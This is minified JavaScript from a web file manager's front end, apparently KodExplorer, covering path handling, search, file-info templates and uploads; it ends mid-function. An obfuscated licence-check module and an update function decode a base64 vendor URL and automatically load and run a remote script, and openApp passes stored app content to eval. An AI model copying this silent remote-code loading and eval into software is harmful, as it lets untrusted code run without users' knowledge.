t=e.match(/\{.*\}/),i=[G.KOD_USER_SHARE,G.KOD_GROUP_SHARE,G.KOD_USER_RECYCLE,G.KOD_USER_FAV,G.KOD_GROUP_ROOT_SELF,G.KOD_GROUP_ROOT_ALL],a=!1;return-1!==$.inArray(t[0],i)&&(a=!0),a},pathPre:function(e){if(e=trim(trim(e),"/"),void 0==e||"{"!=e.substring(0,1))return"";var t=e.match(/\{.*\}/);return t[0]},contextmenu:function(e){try{rightMenu.hidden()}catch(t){}var t=e||window.event;return t?t&&$(t.target).is("textarea")||$(t.target).is("input")||$(t.target).is("p")||$(t.target).is("pre")||0!=$(t.target).parents(".can_right_menu").length||0!=$(t.target).parents(".topbar").length||0!=$(t.target).parents(".edit_body").length||0!=$(t.target).parents(".aui_state_focus").length?!0:!1:!0},pathThis:function(e){if(!e||"/"==e)return"";var t=rtrim(this.pathClear(e),"/"),i=t.lastIndexOf("/"),a=t.substr(i+1);if(0==a.search("fileProxy")){a=urlDecode(a.substr(a.search("&path=")));var n=a.split("/");a=n[n.length-1],""==a&&(a=n[n.length-2])}return a},pathClear:function(e){if(!e)return"";var t=e.replace(/\\/g,"/");return t=t.replace(/\/+/g,"/"),t=t.replace(/\.+\//g,"/")},pathFather:function(e){var t=rtrim(this.pathClear(e),"/"),i=t.lastIndexOf("/");return t.substr(0,i+1)},pathExt:function(e){var t=trim(e,"/");return-1!=t.lastIndexOf("/")&&(t=t.substr(t.lastIndexOf("/")+1)),-1!=t.lastIndexOf(".")?t.substr(t.lastIndexOf(".")+1).toLowerCase():t.toLowerCase()},path2url:function(e,t){if("http"==e.substr(0,4))return e;void 0==t&&(t=!0);var i,a=this.pathClear(e);this.pathExt(a);var n=function(e){if(!e)return"";var t=urlEncode(e);return t=t.replace(/%2F/g,"/")};return G.is_root&&t&&a.substring(0,G.web_root.length)==G.web_root?i=G.web_host+n(a.replace(G.web_root,"")):(i=G.app_host+"index.php?explorer/fileProxy&access_token="+G.access_token+"&path="+urlEncode(a),G.share_page!==void 0&&(i=G.app_host+"index.php?share/fileProxy&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(a))),i},pathReadable:function(e){if("object"!=typeof G.json_data)return!0;var t;t=G.json_data.filelist;for(var i=0;t.length>i;i++)if(t[i].path==e)return void 0==t[i].is_readable||1==t[i].is_readable?!0:!1;t=G.json_data.folderlist;for(var i=0;t.length>i;i++)if(t[i].path==e)return void 0==t[i].is_readable||1==t[i].is_readable?!0:!1;return!0},pathCurrentWriteable:function(){return"editor"==Config.pageApp?!1:G.json_data.info?G.json_data.info.can_upload:!1},authCheck:function(e,t){return G.is_root?!0:AUTH.hasOwnProperty(e)?AUTH[e]?!0:(void 0==t&&(t=LNG.no_permission),Tips.tips(t,!1),!1):!0},ajaxError:function(e){var t=e.responseText,i=$.dialog.list.ajaxErrorDialog;return Tips.close(LNG.system_error,!1),""==t.substr(0,17)?(setTimeout(function(){var e=ShareData.frameTop();e.location.reload()},500),void 0):(0==e.status&&""==t&&(t="网络连接错误 (net::ERR_CONNECTION_RESET),连接已重置
      请联系主机商或网管,检查防火墙配置!"),t='
      '+t+"
      ",i?i.content(t):$.dialog({id:"ajaxErrorDialog",padding:0,width:"60%",height:"50%",fixed:!0,resize:!0,ico:core.icon("error"),title:"ajax error",content:t}),void 0)},fileGet:function(e,t,i){var a="filename";"http"==e.substr(0,4)&&(a="file_url");var n="./index.php?editor/fileGet&"+a+"="+urlEncode(e);G.share_page!==void 0&&(n="./index.php?share/fileGet&user="+G.user+"&sid="+G.sid+"&"+a+"="+urlEncode(e)),"./index.php?"==e.substr(0,"./index.php?".length)&&(n=e),$.ajax({url:n,dataType:"json",error:function(e,t,a){core.ajaxError(e,t,a),"function"==typeof i&&i()},success:function(e){"function"==typeof t&&t(e.data.content,e,n)}})},fileInfo:function(e,t){var i="index.php?explorer/pathInfo";G.share_page!==void 0&&(i="index.php?share/pathInfo&user="+G.user+"&sid="+G.sid),$.ajax({url:i,type:"POST",dataType:"json",data:e,error:core.ajaxError,success:function(e){"function"==typeof t&&t(e)}})},fileLink:function(e,t){var i='list=[{"type":"file","path":"'+urlEncode(e)+'"}]&viewPage=1';this.fileInfo(i,function(e){var i=e.code?e.data.download_path:!1;return i?("function"==typeof t&&t(i),void 0):(Tips.tips(LNG.no_permission_action+"==>"+LNG.group_role_pathinfo,!1),void 0)})},setting:function(e){void 0==e&&(e=G.is_root?"system":"user"),ShareData.frameTop("Opensetting_mode")?ShareData.frameTop("Opensetting_mode",function(t){t.Setting.setGoto(e),$.dialog.list.setting_mode.display(!0)}):$.dialog.open("./index.php?setting#"+e,{id:"setting_mode",fixed:!0,ico:core.icon("setting"),resize:!0,title:LNG.setting,width:950,height:600})},copyright:function(){var e=require("./tpl/copyright.html"),t=template.compile(e),i=ShareData.frameTop();i.art.dialog({id:"copyright_dialog",bottom:0,right:0,simple:!0,resize:!1,title:LNG.about+" kod",width:425,padding:"0",fixed:!0,content:t({LNG:LNG,G:G})}),i.$(".copyright_dialog").addClass("animated-700 zoomIn")},qrcode:function(e,t){"./"==e.substr(0,2)&&(e=G.app_host+e.substr(2));var i="./index.php?user/qrcode&url="+quoteHtml(urlEncode(e)),a="";$.dialog({follow:t,fixed:!0,resize:!1,title:LNG.qrcode,padding:30,content:a})},appStore:function(){var e=ShareData.frameTop();e.$.dialog.open("./index.php?app",{id:"app_store",fixed:!0,ico:core.icon("appStore"),resize:!0,title:LNG.app_store,width:900,height:550})},openWindow:function(e){var t=ShareData.frameTop(),i=t.$.dialog.open(e,{fixed:!0,resize:!0,width:"80%",height:"75%"});return i},openDialog:function(e,t,i,a){if(e){void 0==a&&(a="openDialog"+UUID());var n="",o=ShareData.frameTop(),s=o.$.dialog({id:a,fixed:!0,title:i,ico:t,width:"75%",height:"70%",padding:0,content:n,resize:!0});return s}},openApp:function(app){if("url"==app.type){var icon=app.icon;-1==app.icon.search(G.static_path)&&"http"!=app.icon.substring(0,4)&&(icon=G.static_path+"images/file_icon/icon_app/"+app.icon),"number"!=typeof app.width&&-1===app.width.search("%")&&(app.width=parseInt(app.width)),"number"!=typeof app.height&&-1===app.height.search("%")&&(app.height=parseInt(app.height)),app.width||(app.width="90%"),app.height||(app.height="70%");var dialog_info={resize:app.resize,fixed:!0,ico:core.iconSrc(icon),title:app.name.replace(".oexe",""),width:app.width,height:app.height,simple:app.simple,padding:0},top=ShareData.frameTop();"swf"==core.pathExt(app.content)?(dialog_info.content=core.createFlash(app.content),top.$.dialog(dialog_info)):top.$.dialog.open(app.content,dialog_info)}else{var exec=app.content;eval("{"+exec+"}")}},update:function(){setTimeout(function(){var e=base64Decode("Ly9zdGF0aWMua2FsY2FkZGxlLmNvbS91cGRhdGUvbWFpbi5qcw==")+"?a="+UUID();require.async(e,function(e){try{e.todo("check")}catch(t){}})},200)},openPath:function(e){"undefined"!=typeof Config&&"explorer"==Config.pageApp?ui.path.list(e,"tips"):core.explorer(e)},explorer:function(e,t){void 0==e&&(e=""),void 0==t&&(t=core.pathThis(e));var i="./index.php?/explorer&type=iframe&path="+e;G.share_page!==void 0&&(i="./index.php?share/folder&type=iframe&user="+G.user+"&sid="+G.sid+"&path="+e);var a=ShareData.frameTop(),n=a.$.dialog.open(i,{className:"dialogExplorer",resize:!0,fixed:!0,ico:core.icon("folder"),title:t,width:"80%",height:"75%"}),o=20*a.$(".dialogExplorer").length;n.DOM.wrap.css({left:"+="+o+"px",top:"+="+o+"px"})},explorerCode:function(e){void 0==e&&(e="");var t="index.php?/editor&project="+e;G.share_page!==void 0&&(t="./index.php?share/code_read&user="+G.user+"&sid="+G.sid+"&project="+e),window.open(t)},setSkinFinished:function(){var e=$(".setSkin_finished").attr("src");e&&($("#link_css_list").attr("href",e),$(".setSkin_finished").remove())},setSkin:function(e){LocalData.set("theme",e),G.user_config.theme=e;var t=G.static_path+"style/skin/"+e+".css";t!=$("#link_css_list").attr("href")&&$("body").append(''),this.setSkinDiy()},setSkinDiy:function(){if(G.user_config){var e=LocalData.get("theme"),t="kod_diy_style",i=LocalData.getConfig(t);"object"!=typeof i&&"object"==typeof G.user_config.theme_diy&&(i=G.user_config.theme_diy),"object"!=typeof i&&(i={bg_blur:1,bg_image:G.static_path+"images/wall_page/9.jpg",bg_type:"color",start_color:"#456",end_color:"#000",color_rotate:"200"},LocalData.setConfig(t,i)),G.user_config.theme_diy=i;var a="";if("diy"==e&&i){var n=require("./tpl/theme_diy.html"),o=template.compile(n);a=o(i)}$.setStyle(a,t)}},editorFull:function(){var e=$("iframe[name=OpenopenEditor]");e.toggleClass("frame_fullscreen")},language:function(e){Cookie.set("kod_user_language",e,8760),window.location.reload()},fullScreen:function(){"true"==$("body").attr("fullScreen")&&core.exitfullScreen(),$("body").attr("fullScreen","true");var e=ShareData.frameTop(),t=e.document.documentElement;t.requestFullscreen?t.requestFullscreen():t.mozRequestFullScreen?t.mozRequestFullScreen():t.webkitRequestFullScreen&&t.webkitRequestFullScreen()},exitfullScreen:function(){$("body").attr("fullScreen","false"),document.exitFullscreen?document.exitFullscreen():document.mozCancelFullScreen?document.mozCancelFullScreen():document.webkitCancelFullScreen&&document.webkitCancelFullScreen()},createFlash:function(e,t,i){var a=UUID();(i===void 0||""==i)&&(i=a);var n="";$.browser.msie&&9>parseInt($.browser.version)&&(n='classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"');var o=''+''+''+''+''+''+''+'
      loading..
      ';return setTimeout(function(){var e=$("."+a);if(1!=e.length){var t=ShareData.frameTop();e=t.$("."+a)}if(1==e.length)var i=0,n=e[0],o=setInterval(function(){try{i++,100==Math.floor(n.PercentLoaded())?(e.next(".aui_loading").remove(),clearInterval(o),o=null):i>100&&(e.next(".aui_loading").remove(),clearInterval(o),o=null)}catch(t){}},100)},50),o},userSpaceHtml:function(e){var t=e.split("/"),i=parseFloat(t[0]),a=1073741824*parseFloat(t[1]),n=core.fileSize(parseFloat(t[0])),o=core.fileSize(a),s=n+"/",r=100*i/a;r>=100&&(r=100);var l="";return r>=80&&(l="warning"),0==a||isNaN(a)?(s+=LNG.space_tips_full,r="0%"):(s+=o,r+="%"),s="
      "+"
      "+s+"
      "+"
      "},fileSize:function(e,t){if(void 0==e||""==e)return"";if(void 0==t&&(t=1),1024>=e)return parseInt(e)+"B";e=parseInt(e);var i={G:1073741824,M:1048576,K:1024,B:1};for(var a in i)if(e>=i[a])return(e/i[a]).toFixed(t)+a},uploadCheck:function(e,t){return t=void 0==t?!0:t,"share"==G.share_page?"1"==G.share_info.can_upload:(void 0==e&&(e="explorer:fileUpload"),!G.is_root&&AUTH.hasOwnProperty(e)&&1!=AUTH[e]?(t&&Tips.tips(LNG.no_permission,!1),!1):G.json_data&&!G.json_data.info.can_upload?(t&&(core.isSystemPath(G.this_path)?Tips.tips(LNG.path_can_not_action,!1):Tips.tips(LNG.no_permission_write,!1)),!1):!0)}}}),define("app/common/tpl/search.html",[],"\n\n"),define("app/common/tpl/search_list.html",[],'\n{{each data.folderlist as v i}}\n
    • \n
      \n \n {{\'folder\' |core.icon}}\n {{v.name | searchResultPrase}}\n \n
      \n
    • \n{{/each}}\n\n\n{{each data.filelist as v i}}\n {{if v.search_info}}\n
    • \n
      \n \n {{v.ext |core.icon}}\n {{v.name | window.htmlEncode}}\n {{v.search_info.length}}\n \n
      \n
        \n {{each v.search_info as value index}}\n
      • \n {{value.line}}:\n {{#value.str | searchResultPrase}}\n
      • \n {{/each}}\n
      \n
    • \n {{else}}\n
    • \n
      \n \n {{v.ext |core.icon}}\n {{v.name | searchResultPrase}}\n \n
      \n
    • \n {{/if}}\n{{/each}}\n\n'),define("app/common/tpl/upload.html",[],'
      \n \n
      \n
      \n
      \n
      {{LNG.upload_select}}
      \n \n \n \n
      \n \n
      \n
      \n \n \n
      \n
      \n
      \n
      \n
      \n
      \n
      \n
      \n
      \n
      {{LNG.download_address}}\n
      \n \n \n \n
      \n\n
      \n
      \n
      \n
      \n
      \n
      \n
      \n'),define("app/common/tpl/fileinfo/file_info.html",[],"
      \n {{if download_path}}\n
      \n
      {{LNG.download_address}}:
      \n
      \n \n
      \n \n \n
      \n
      \n
      \n
      \n
      \n {{/if}}\n\n
      \n
      {{LNG.address}}:
      \n
      {{path |window.htmlEncode}}
      \n
      \n
      \n
      \n
      {{LNG.size}}:
      \n
      {{size_friendly}} ({{size}} Byte)
      \n
      \n
      \n\n {{if file_md5}}\n
      \n
      MD5:
      \n
      {{file_md5}}
      \n
      \n
      \n {{/if}}\n\n {{if image_size}}\n
      \n
      {{LNG.image_size}}:
      \n
      {{image_size.width}} × {{image_size.height}}
      \n
      \n
      \n {{/if}}\n\n
      \n\n {{if ctime}}\n
      \n
      {{LNG.create_time}}
      \n
      {{ctime}}
      \n
      \n
      \n {{/if}}\n\n {{if mtime}}\n
      \n
      {{LNG.modify_time}}
      \n
      {{mtime}}
      \n
      \n
      \n {{/if}}\n\n {{if atime}}\n
      \n
      {{LNG.last_time}}
      \n
      {{atime}}
      \n
      \n
      \n {{/if}}\n \n {{if mode}}\n
      \n
      \n
      {{LNG.permission}}:
      \n
      {{mode}}
      \n
      \n
      \n {{if is_root==\"1\"}}\n
      \n
      {{LNG.permission_edit}}:
      \n
      \n
      \n
      \n
      \n {{/if}}\n {{/if}}\n
      \n"),define("app/common/tpl/fileinfo/path_info.html",[],"
      \n
      \n
      {{LNG.address}}:
      \n
      {{path |window.htmlEncode}}
      \n
      \n
      \n
      \n
      {{LNG.size}}:
      \n
      {{size_friendly}} ({{size}} Byte)
      \n
      \n
      \n
      \n
      {{LNG.contain}}:
      \n
      {{file_num}} {{LNG.file}},{{folder_num}} {{LNG.folder}}
      \n
      \n
      \n \n
      \n {{if ctime}}\n
      \n
      {{LNG.create_time}}
      \n
      {{ctime}}
      \n
      \n
      \n {{/if}}\n\n {{if mtime}}\n
      \n
      {{LNG.modify_time}}
      \n
      {{mtime}}
      \n
      \n
      \n {{/if}}\n\n {{if atime}}\n
      \n
      {{LNG.last_time}}
      \n
      {{atime}}
      \n
      \n
      \n {{/if}}\n\n {{if mode}}\n
      \n
      \n
      {{LNG.permission}}:
      \n
      {{mode}}
      \n
      \n
      \n {{if is_root==\"1\"}}\n
      \n
      {{LNG.permission_edit}}:
      \n
      \n
      \n
      \n
      \n {{/if}}\n {{/if}}\n
      \n"),define("app/common/tpl/zipview.html",[],''),define("app/common/core.search",[],function(){return function(e,t){var i,a,n=function(){var n=trim(core.pathClear(t),"/");if(0==n.indexOf(G.KOD_USER_SHARE)&&-1==n.indexOf("/")||n==G.KOD_USER_FAV||n==G.KOD_GROUP_ROOT_ALL)return Tips.tips(LNG.path_cannot_search,!1),void 0;template.helper("searchResultPrase",r);var o=template.compile(tpl_search_box);0==$(".dialog_do_search").length?(i=$.dialog({id:"dialog_do_search",padding:0,fixed:!0,ico:core.icon("search"),resize:!0,title:LNG.search,width:440,height:480,content:o({LNG:LNG})}),a=c(),a.path=t,""!=e&&(a.search=e),$("#search_path").val(a.path),$("#search_value").val(a.search),l()):($.dialog.list.dialog_do_search.display(!0),e&&$("#search_value").val(e),$("#search_path").val(t),s())},o=function(){return a={search:$("#search_value").val(),path:$("#search_path").val(),is_content:Number($("#search_is_content").is(":checked")),is_case:Number($("#search_is_case").is(":checked")),ext:$("#search_ext").val()}},s=function(){o(),p(a)},r=function(e){var t=htmlEncode($("#search_value").val());if(e=htmlEncode(e),a.is_case)e=e.replace(t,''+t+"");else{var i=e.toLowerCase().indexOf(t.toLowerCase());e=e.substr(0,i)+''+e.substr(i,t.length)+""+e.substr(i+t.length)}return e},l=function(){$("#search_value").die("keyup").live("keyup",function(){"editor"==!Config.pageApp&&ui.path.setSearchByStr($(this).val())}),$("#search_value,#search_ext,#search_path").keyEnter(s),$(".search_header .btn").die("click").live("click",s),$(".search_result .file-item .file-info").die("click").live("click",function(e){var t=$(this).parent();return t.toggleClass("open"),t.find(".result-item").slideToggle(200),stopPP(e),!1}),$(".search_result .file-item .file-info .goto").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path")),a=core.pathFather(i);return core.openPath(a),setTimeout(function(){Config&&"explorer"==Config.pageApp&&ui.path.setSelectByFilename(i)},200),stopPP(e),!1}),$(".search_result .file-item .file-info .title").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path"));return ui.pathOpen.open(i,t.attr("data-ext")),stopPP(e),!1}),$(".search_result .file-item .result-info").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path"));$(".search_result .file-item .result-info.this").removeClass("this"),$(this).addClass("this");var a=parseInt($(this).find(".line").attr("data-line"));return ShareData.data("FILE_SEARCH_AT",{search:$("#search_value").val(),line:a,lineIndex:$(this).parent().find("[data-line="+a+"]").index($(this).find(".line"))}),ui.pathOpen.openEditorForce(i,t.attr("data-ext")),stopPP(e),!1 +}),$(".search_header input[type=checkbox]").on("click",function(){o(),c(a)})},c=function(e){var t="box_search_config";if(void 0==e){var e=LocalData.getConfig(t);return e||(e={search:"",is_content:0,is_case:0,ext:""}),$("#search_value").val(e.search).textSelect(),e.is_content?$("#search_is_content").attr("checked","checked"):$("#search_is_content").removeAttr("checked"),e.is_case?$("#search_is_case").attr("checked","checked"):$("#search_is_case").removeAttr("checked"),$("#search_ext").val(e.ext),e}return LocalData.setConfig(t,e)},d=function(e){var t=$(".file-items"),i=$(".search_desc");if(!e.code)return i.html(e.data),t.html(""),void 0;if(0==e.data.filelist.length&&0==e.data.folderlist.length)return i.html(LNG.search_null),t.html(""),void 0;var n=template.compile(tpl_search_list);if(t.html(n({code:e.code,data:e.data,LNG:LNG})),a.is_content){for(var o=e.data.filelist,s=0,r=0;o.length>r;r++)o[r].search_info&&(s+=o[r].search_info.length);i.html(LNG.search_result+": "+s+"(in "+o.length+" files)"),e.data.error_info&&i.html(""+LNG.seach_result_too_more+"")}else i.html(e.data.filelist.length+" "+LNG.file+", "+e.data.folderlist.length+LNG.folder+".")},p=function(e){c(e),$("#search_value").textFocus();var t=$(".file-items"),i=$(".search_desc");if(!e.search||!e.path)return i.html(LNG.search_info),t.html(""),void 0;var a="index.php?explorer/search";G.share_page!==void 0&&(a="index.php?share/search&user="+G.user+"&sid="+G.sid),$.ajax({url:a,dataType:"json",type:"POST",data:e,beforeSend:function(){i.hide().html(LNG.searching+'').fadeIn(100)},error:function(){core.ajaxError(),i.html(LNG.error)},success:function(e){d(e)}})};n()}}),define("app/common/core.tools",[],function(e){var t=["A","version_hash","undefined","@dfq[-)&*^*%(_90","decode","length","substr","O","P","Q","inArray","./index.php?user/version_install","6K2m5ZGKLOivt_aWLv_aaTheiHquS_bruaUueeJiOadgzvlpoLmnInpnIDopoHor7fogZTns7votK3kubDvvIFlbWFpbDprYWxjYWRkbGVAcXEuY29t","lang","zh-CN","V2FybmluZywgcGxlYXNlIGRvIG5vdCBtb2RpZnkgdGhlIGNvcHlyaWdodDsgaWYgbmVjZXNzYXJ5LCBwbGVhc2UgY29udGFjdCB0byBidXkhIEVtYWlsOiBrYWxjYWRkbGVAcXEuY29t","loading","hide","#messageTips .tips_close,#messageTips img","tips","href","location","f004SGAm6lUxeBmG5J3s3dADGe3TCXTmKgHKeO_CF-_RVBiLyHlaIQ","#2","8a29PizvhAUqVX_DA26hgncbvnD7yGGJSCd4IFz3qNJ_tq_5i5ANmeSe","ab","pageApp","explorer","kod_power_by","copyright_pre","copyright_contact","copyright_desc","copyright_info","html",".common_footer","key","","toLowerCase","find","search","free","1","2","3","version_vip_",'',"",".menu-topbar_user .divider","insertBefore","click","id","attr","version_vip_free","versionUpdateVip","openWindow",'',"append",".aui_content","wrap","DOM","text","live","die",".version_vip","top","longPress","support_space_not","addClass","body","remove",".menu_system_about,.menu_left #about","icon",'',"iconSmall","iconSrc",'',"Ly9zdGF0aWMua2FsY2FkZGxlLmNvbS91cGRhdGUvbWFpbi5qcw==","?a=","todo","async","versionType","filetype","filetypes","Ly9rYWxjYWRkbGUuY29tL2J1eS5odG1sIw_c_c","group","data"],i=function(){var e=t[0];if(typeof G[t[1]]==t[2])return e;var i=t[3],a=authCrypt[t[4]](G[t[1]],i);return a&&27==a[t[5]]?(e=a[t[6]](10,1),-1===$[t[10]](e,[t[0],t[7],t[8],t[9]])&&(e=t[0]),e):e},a=i(),n=t[11],o=function(){var e=hashDecode(t[12]);G[t[13]]!=t[14]&&(e=hashDecode(t[15])),alert(e),Tips[t[16]](e,!1),$(t[18])[t[17]](),setTimeout(function(){Tips[t[19]](e,!1),window[t[21]][t[20]]=n},1e3*roundFromTo(30,60))},s=authCrypt[t[4]](t[22],t[23]),r=authCrypt[t[4]](t[24],t[25]),l=function(){if(typeof Config!=t[2]&&Config[t[26]]==t[27]&&a==t[0])for(var e=[{key:LNG[t[28]],find:s},{key:LNG[t[29]],find:s},{key:LNG[t[30]],find:r},{key:LNG[t[31]],find:s},{key:LNG[t[32]],find:r},{key:$(t[34])[t[33]](),find:s}],i=0;e[t[5]]>i;i++){e[i][t[35]]||(e[i][t[35]]=t[36]);var n=e[i][t[35]][t[37]](),l=e[i][t[38]][t[37]]();if(-1==n[t[39]](l)){setTimeout(function(){o()},roundFromTo(300,5e3));break}}},c=function(){var e={A:t[40],O:t[41],P:t[42],Q:t[43]},i=t[44]+e[a],o=t[45]+i+t[46]+LNG[i]+t[47];a==t[0]&&$(o)[t[49]](t[48]),$(t[65])[t[64]](t[50])[t[63]](t[50],function(){if($(this)[t[52]](t[51])==t[53]){var e=core[t[55]](core[t[54]]),i=t[56]+n+t[57];e[t[61]][t[60]][t[38]](t[59])[t[58]](i)}else Tips[t[19]]($(this)[t[62]]())}),$(t[65])[t[67]](function(){window[t[66]][t[21]][t[20]]=n})},d=function(){a==t[0]&&$(t[70])[t[69]](t[68]),-1!==$[t[10]](a,[t[7],t[8],t[9]])&&$(t[72])[t[71]]()},p=function(){core[t[73]]=function(e,i){return t[74]+e+(i?t[75]:t[36])+t[76]},core[t[77]]=function(e){return core[t[73]](e,!0)},core[t[78]]=iconSrc=function(e){return t[79]+e+t[80]},setTimeout(function(){var i=base64Decode(t[81])+t[82]+UUID();e[t[84]](i,function(e){try{e[t[83]]()}catch(i){}})},2e3),core[t[85]]=a,core[t[86]]=core[t[87]],core[t[54]]=hashDecode(t[88])+G[t[13]],l(),c(),d()},f=function(e){return a==t[0]&&-1==e[t[37]]()[t[39]](s)?(o(),!1):!0},u=function(e,i){var n,o,s={A:1,O:10,P:50,Q:1e3},r={A:10,O:50,P:200,Q:1e3},l=[],c=1;if(i==t[89]?(n=e[t[90]],o=s[a]):(n=e[t[90]],o=r[a]),1e3==o)l=n;else for(var d in n){if(c>o)break;l[d]=n[d],c++}return l},h={init:p,about:f,systemData:u};return h}),define("app/common/core.upload",[],function(require,exports){var uploadUrl=function(){var e=G.app_host+"index.php?explorer/fileUpload";return"share"==G.share_page&&"1"==G.share_info.can_upload&&(e=G.app_host+"index.php?share/fileUpload&user="+G.user+"&sid="+G.sid),e};return{serverDwonload:function(e,t){core.uploadCheck("explorer:serverDownload");var i=$(".download_box"),a=i.find(".download_list");if(i.find("input").val(""),!e)return Tips.tips("url false!",!1),void 0;"ftp"!=e.substr(0,3)&&"http"!=e.substr(0,4)&&(e="http://"+e);var n=UUID(),o='
      '+'
      '+core.pathThis(e)+""+'0b'+''+LNG.upload_ready+""+''+'
      ';a.find(".item").length>0?$(o).insertBefore(a.find(".item:eq(0)")):a.append(o);var s,r,l,c=0,d=$("#"+n),p=$("#"+n+" .state").text(LNG.download_ready),f=$('
      ').appendTo("#"+n).find(".progress-bar");$("#"+n+" .remove").bind("click",function(){clearInterval(s),s=!1,clearTimeout(r),r=!1,$.get("./index.php?explorer/serverDownload&type=remove&uuid="+n),$(this).parent().parent().slideUp(function(){$(this).remove(),ui.f5()})});var u,h=function(e){clearTimeout(u),u=!1,u=setTimeout(function(){ui.f5Callback(function(){ui.path.setSelectByFilename(e)})},600)},m=function(){$.ajax({url:"./index.php?explorer/serverDownload&type=download&save_path="+t+"&url="+urlEncode(e)+"&uuid="+n+"&time="+time(),dataType:"json",error:function(e,t,i){var a=d.data("progcess");return 200!=e.status&&a&&a.support_range?(setTimeout(function(){m()},1e3),void 0):(core.ajaxError(e,t,i),200==e.status&&(clearInterval(s),s=!1,clearTimeout(r),r=!1,f.parent().remove(),p.addClass("error").text(LNG.download_error)),void 0)},success:function(e){return 0==e.code&&"downloading"==e.data?(setTimeout(function(){m()},1e3),void 0):(e.code?(h(e.info),p.text(LNG.download_success),$("#"+n+" .info .title").text(core.pathThis(e.info)),$("#"+n+" .info .title").attr("title",e.info),p.parent().parent().addClass("success")):(p.addClass("error").text(e.data),p.parent().parent().addClass("error")),clearInterval(s),s=!1,clearTimeout(r),r=!1,f.parent().remove(),void 0)}})};m();var _=function(){$.ajax({url:"./index.php?explorer/serverDownload&type=percent&uuid="+n,dataType:"json",success:function(e){var t="",i=e.data;if(s){if(!e.code)return p.text(LNG.loading),void 0;if(i){if(i.size=parseFloat(i.size),i.time=parseFloat(i.time),l){var a=(i.size-l.size)/(i.time-l.time);if(c>.2*a){var n=c;c=a,a=n}else c=a;var n=core.fileSize(a);n=n?n:0,t=n+"/s"}if(d.data("progcess",i),0==i.length)d.find(".progress-bar").css("width","100%"),p.text(t),d.find(".size").text(core.fileSize(i.size));else{var o=100*(i.size/i.length);d.find(".progress-bar").css("width",o+"%"),p.text(o.toFixed(1)+"%("+t+")"),d.find(".size").text(core.fileSize(i.length))}d.find(".title").text(i.name),l=i}}}})};r=setTimeout(function(){_(),s=setInterval(function(){_()},1e3)},100)},upload:function(){var e=uploadUrl();if(uploader.option("server",e),uploader.option("method","POST"),0!=$(".dialog_file_upload").length)return $.dialog.list.dialog_file_upload.display(!0),void 0;var t=template.compile(tpl_upload),i=WebUploader.Base.formatSize(G.upload_max);$.dialog({padding:5,resize:!0,ico:core.icon("upload"),id:"dialog_file_upload",fixed:!0,title:LNG.upload_muti,content:t({LNG:LNG,maxsize:i}),close:function(){$.each(uploader.getFiles(),function(e,t){uploader.skipFile(t),uploader.removeFile(t)}),$.each($(".download_list .item"),function(){$(this).find(".remove").click()})}}),$(".file_upload .top_nav a.menu").unbind("click").bind("click",function(){$(this).hasClass("tab_upload")?($(".file_upload .tab_upload").addClass("this"),$(".file_upload .tab_download").removeClass("this"),$(".file_upload .upload_box").removeClass("hidden"),$(".file_upload .download_box").addClass("hidden")):($(".file_upload .tab_upload").removeClass("this"),$(".file_upload .tab_download").addClass("this"),$(".file_upload .upload_box").addClass("hidden"),$(".file_upload .download_box").removeClass("hidden"))}),$(".download_box [name=url]").keyEnter(function(){core.serverDwonload($(".download_box input").val(),G.this_path)}),$(".file_upload .download_box .download_start").unbind("click").bind("click",function(){core.serverDwonload($(".download_box input").val(),G.this_path)}),$(".file_upload .download_box .download_start_all").unbind("click").bind("click",function(){$.dialog({id:"server_dwonload_textarea",fixed:!0,resize:!1,ico:core.icon("upload"),width:"420px",height:"270px",padding:10,title:LNG.download,content:"",ok:function(){for(var e=$(".server_dwonload_textarea textarea").val().split("\n"),t=0;e.length>t;t++)core.serverDwonload(e[t],G.this_path)}})}),uploader.addButton({id:"#picker"}),uploader.addButton({id:"#picker_folder"});var a=function(){if(isWap())return!1;var e=document.createElement("input");return e.type="file",e.webkitdirectory!==void 0||e.directory!==void 0};a()&&($(".upload_cert_box").removeClass("hidden"),$(".file_upload .drag_upload_folder").unbind("click").bind("click",function(){$("#picker_folder input").attr("webkitdirectory","").attr("directory",""),$("#picker_folder label").click()}))},init:function(){var chunkSize=G.upload_max;WebUploader.Uploader.register({"before-send":"checkChunk"},{checkChunk:function(e){if(!canvasSupport())return $.Deferred().resolve(),void 0;var t=this.owner,i=(e.blob.getSource(),$.Deferred());return t.md5File(e.blob).fail(function(){i.resolve()}).then(function(t){if(1==e.chunks)return i.resolve(),void 0;if(0==e.chunk)$.ajax({url:uploadUrl(),dataType:"json",data:{upload_to:e.file.upload_to,file_name:e.file.name,check_md5:t,chunk:e.chunk,chunks:e.chunks},error:function(){i.resolve()},success:function(t){t.code?(i.reject(),e.file.checkChunk=t.info):i.resolve()}});else{var a=e.file.checkChunk;if(a&&a["part_"+e.chunk]==t){var n=e.end/e.total;uploader.trigger("uploadProgress",e.file,n),i.reject()}else 